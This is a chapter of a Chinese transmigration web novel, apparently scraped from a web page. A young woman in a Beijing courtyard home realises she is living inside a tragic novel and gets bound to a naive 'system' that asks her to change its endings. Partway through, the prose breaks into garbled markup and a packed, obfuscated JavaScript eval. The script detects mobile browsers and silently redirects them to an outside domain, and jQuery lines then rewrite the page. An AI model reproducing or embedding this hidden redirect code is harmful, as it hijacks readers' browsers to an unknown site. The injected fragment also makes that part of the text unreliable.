北京四月天的沙尘暴卷着榆钱儿啪啪拍在朱漆大门上。
沈家老宅里，沈清雨蹲在垂花门边认真看蚂蚁搬家，第十二只小工蚁驮着炸酱面碎屑路过时，她感慨了一句：
“唉，人生真是美好呀。如果我…但至少比哥养花成功率高吧。”
这话刚出口，回廊忽然炸开一嗓子西皮流水。
奶奶唱到“理还乱”那句时，声线陡然拔高，震得屋檐底下小麻雀扑棱棱飞起，翅膀掠过天井旁那株老梨树。
那树一半嫩绿残花，一半焦黑如炭。是去年夏天雷劈的。
奶奶说那是天意。
沈清雨懒洋洋靠在躺椅上，听着奶奶一边唱一边讲旧事，阳光暖洋洋照得人犯困，戏服香和沉香味混着，像小时候午睡时的枕头。
“……说起来徐家班那个倔老头，临了还想改戏名……”
这事她听了无数次，从东街讲到北街，从“那年梅雨季”讲到“某年某月某一日”，奶奶讲故事的功力堪比老戏骨，下台就能成书。
小时候她要是睡不着，奶奶就靠这些给她讲睡着。
但“徐家班主”这个名儿，她倒是有印象。
记得某年春末，有位白胡子老师傅喝茶时说了一句：“话剧啊，说到底不过是‘西洋镜把戏’。”
结果一向温吞的老太太当场摔了青瓷盏，爷爷看到后即刻抄起竹扫帚追出三进院。
“唱念做打是戏，说表行导怎么就不是？”
奶奶那年眼角皱纹都在抖，连最宝贝的桃红戏服袖口都捏出了死褶。
那时候沈清雨年纪还小，只记得茶洒了一地，戏服飘起来像仙人过河。
再后来，那位老师傅走了，奶奶就很少再提。
今天她倒突然说起好多沈清雨没听过的事，让她不禁坐直了些。
只是她总觉得，这些事，好像哪里听过……？
“发什么呆呢？”一道熟悉的声音从月亮门外晃进来。
哥哥沈逸尘穿着高定西装，袖口粘着后海柳絮，一手举着山楂串，像举着镇宅法宝，“糖葫芦吃不吃？”
“谢谢哥～”沈清雨咬下一颗，酸酸甜甜，眉眼都眯了。
“奶奶让我等你回来晒戏服。”
老戏箱“吱呀”一声掀开，霉气里夹着沉香的味儿。
戏箱里泛黄的老戏单滑落在地，纸边印着模糊不清的字迹：“徐然洲喜剧专场”，墨痕像是被风雨啃过。
沈清雨顺手把它捡起，刚想开口——
却见沈逸尘转身跑去抄手游廊那边喂金鱼。
那两条金鱼可是他最后的尊严了！
他的人生养啥啥不活，从小时候起就一骑绝尘：
养花，花蔫；
种草，草死；
养猫，猫跳窗；
养乌龟……乌龟出逃。
“哥，”沈清雨眼睛弯了弯，“你悄悄把它俩和爷爷的宝贝兰寿放在一起，万一……”
“呸呸呸！！”沈逸尘差点打翻饲料罐，“阿糍你不许胡说！我们‘长’‘寿’可是我养鱼史上第一对活过三个星期的希望！”
沈清雨眨了眨眼：“那希望你别再给金鱼喂藕粉饼干了。”
“……那是营养餐！”
鱼食撒到第三把时，水面忽然泛起一串气泡。
沈逸尘眯起眼，还没来得及说话，就见瓷缸里缓缓浮起一截金红色的鱼尾，像旗帜一样在水面飘了两秒，然后……啪叽一声翻了个白肚皮。
“阿长？！”
“阿长啊啊啊？！你走得好惨啊！！你怎么就……没了呢？”
堂堂沈氏集团总裁站在自家院子里，对着鱼缸声泪俱下，恨不能给自家金鱼办一场头七，身后的小鸟都被惊得调头飞远了。
“沈逸尘！”
一道带着老派京腔的男中音在回廊尽头炸开，“大早上的鬼哭狼嚎的，像什么样子！”
“爷爷！我命苦啊…”
“不会是我的……我的兰寿？！”声音忽而拔高，仿佛下一秒要冲过来。
沈清雨悠悠抬眸，嘴角带着点温和笑意：“爷爷放心，您的鱼活得正欢，是哥的‘阿长’……走了。”
“……”
“吭。”沈老爷子轻咳了一下，掩饰尴尬。
他孙子的“奇怪”体质他是知道的，运气差的要死。沈清云对这两条鱼宝贝程度他也是看在眼里的。
作为长辈，他刚刚…好像…是有点冷漠？
“节哀啊哥。”她补了一句，声音轻柔到像春风拂面。
沈逸尘一手撑着青花瓷缸边缘，望着水中浮尸，整个人失魂落魄。
他甚至开始怀疑自己到底是不是被人诅咒了，养什么死什么，就连金鱼都不肯给面子。
阿长是个讨厌鬼，
算了，
阿长要长命百岁。
——《云边有个阿长》①
献给可怜的阿长。
沈清雨忍着笑，刚想拍他肩安慰。
突然，她眼角余光瞥见水面不断泛起气泡的瓷缸，背后梨树的焦枝在风中晃动，像有谁在晃铃铛。时间忽然卡壳。
脑海深处像是有人扯下了一层纱。
“徐班主”、“徐然洲”、“倒霉总裁”、“梨树”、“剧团”……那些零散的关键词像棋子啪嗒啪嗒落在心湖，瞬间拼出了前世ICU病房里——
隔壁床那个小姐姐在病重最后几天，硬塞给她的那本狗血虐文。
书名是什么来着……好像就叫什么花？
对！是《雨中花》！
具体细节她都快忘得差不多了，只记得是本群像，全书又臭又长，关键还是全员BE。
没有最惨，只有更惨！
作者一位好“狠心”的女子，害她哭湿了三包心相印！
书里那个无敌可怜的男主，出场清冷矜贵，后来疯批收尾。对，就是那个——
“徐然洲。”
她心头微颤，指尖握住了戏单发黄的一角，赫然和单子上的名字呼应上了。
纸张温凉粗糙，像极了什么被尘封很久的命运。
突然沈清雨快步上前，像是在找什么，衣摆一晃就卷起了浮尘。
她指尖一顿，终于拎起那件孔雀蓝褶裙。
水袖在阳光下轻轻一抖——
“砰——！”
“喵嗷！！”
中廊下，一只橘猫如炸弹般弹起，蹿上梨树，震得焦黑的枝桠簌簌落灰。
小胖球直接挂在树杈上，四肢僵住，仿佛下一秒就要原地罢工。
阿糍：强制开机ing
讨厌没有边界感的人类！
沈清雨也被猫叫吓了一跳，转头去看，那只被她奶奶奉为“咱家压宅小神兽”的橘猫，正吊在树杈上疯狂蹬腿，挣扎得像春晚小品现场翻车。
而她的目光，却在不经意间落在了那块褶裙裙角的针脚上——
是爷爷惯用的收边手法，老手艺了，纫线比头发丝还细。
下一秒，电光石火般的记忆猛然涌入脑海。
【沈宅那株雷击木，在徐然洲坠楼那夜，开出了血色的花。】
书里写过的。
原著中那句描写，她当初看得只觉狗血，现在却连梨树掉下的焦叶都能对得上。
她指尖微颤，眼前的现实与那本小说如电影般层层叠合，终于在脑海深处“咔哒”一声合拢。
这下她确定了。
她的的确确，穿进了那本书里。
【叮！恭喜宿主绑定了“拯救BE世界我最行”系统。你好呀～宿主！我是壹号，您是我在茫茫人海中选中的“天之骄子”，我们的缘分那可谓是……】
一道奶呼呼的声音在她的脑海中浮现。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15632690|172594||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>【停！请你可以说人话吗，可以吗？】
【哦。好凶啊你。经过主系统的检测，发现这个世界已经经历了无数次的崩坏。但！这次不一样！您出现了。我们希望你可以把原本的BE路线改成全员HE的结局。】
沈清雨愣了半秒，反应过来了。
得！不止是穿书，她这还外带了一个系统？
凭她多年看书经验，这些配置放在哪里都是在爽文里嘎嘎乱杀吧！
怎么轮到她就是要完成任务：改变BE路线？它以为这是什么通关游戏啊！等一会是不是还有什么好感度检测，人物介绍，攻略人物建议……
【小壹宝宝，可我就是个平平无奇的普通人啊。这个任务是不是有点难呀？】
沈清雨故意放低了声线，语气里带了点诱哄。她刚刚听语气就大概猜出来了，这个系统应该不太聪明。
【你…你叫我宝宝啊？！（脸红）轻浮的人类！好…好吧，其实是有一点，但我们这是一个随缘任务，不勉强的。如果你实在完成不了，也没有惩罚机制的……】
电流声像是卡了一下，磕磕盼盼地回道。
yes！果然是个笨蛋！
沈清雨微微低头掩饰住了眼里的笑意，语气故作为难的样子。
【那…好吧。你放心吧。小壹宝宝。我一定会尽我的全力完成任务的！】
当然不会啊！
沈清雨想，她一定会尽她所能，好好享受这辈子。没有被病痛折磨的人生可真是太爽了！
她又不是什么“圣母”，非要去拯救世界。
她相信光，所以这种任务还是交给奥特曼吧！
“心肝儿，抖什么呢？把小阿糍都吵醒了。”奶奶从屋檐下走来，手里还拿着一把茶叶筛，笑眯眯的。
沈清雨眨了眨眼，看着她面上温和、气质如兰，忽然就把原著人物和现实对上了号。
这位当年凭一出《贵妃醉酒》惊艳全京的角儿，在原文里的出场并不多，充其量就是个比路人甲的戏份多一点的小人物。
但沈清雨对她印象深刻是因为——为了保住那个百年戏楼，她提着青龙偃月刀站在拆迁队前线，结果不小心把自己的裙角勾花了。
戏楼是保下来了，自己一度成了全网热搜“最美老太”，差点因“持械对抗”被请去上《法制进行时》。
小说那段她当时笑得在病床上咳了三分钟，护士以为她气管又堵了。
而现在，老太太就站在她面前，笑得一脸宠溺。
“那……那位徐老班主是不是有个孙子啊？”沈清雨靠过去，小声问。
“可不是嘛，他自己是个犟种，养了个孙子却争气得很。”奶奶眉眼舒展开来，语气里透着几分怜惜，“年纪轻轻唱得比好多角儿都透儿。可惜啊……”
说到这儿，她顿了顿，抬手揉了揉沈清雨的发顶。
这动作温柔极了，像在摸一只幼猫。
感觉这温暖的触感，沈清雨的记忆哗啦啦如同倒带。
上辈子她是福利院的药罐子，十八岁生日在病床啃着冷包子看虐文。这辈子却投胎成了东四胡同家的“小祖宗”，自幼就获得了沈家所有人的爱。
“可惜什么？”沈清雨嗓子眼泛着糖葫芦的酸。
奶奶不说话了。
沈老爷子在一旁插话：“那孩子也苦。老徐一走，他就跟断了线似的——像谁动他一分，他就要往里缩一寸。不是心狠，是心苦。”
他从对襟褂子里摸出一个油纸包：“吃不吃？刚刚牛街老马家送来的驴打滚，趁热。”
沈清雨接过来，咬了一口。
豆沙馅儿绵软香甜，混着糯米的黏劲，唇齿间像是回到了小时候夏天趴在窗沿吃桂花糕。
她望着那棵雷劈过的梨树，忽然觉得它好像也没那么瘆人了。
至少原著里没写这棵树会吃人。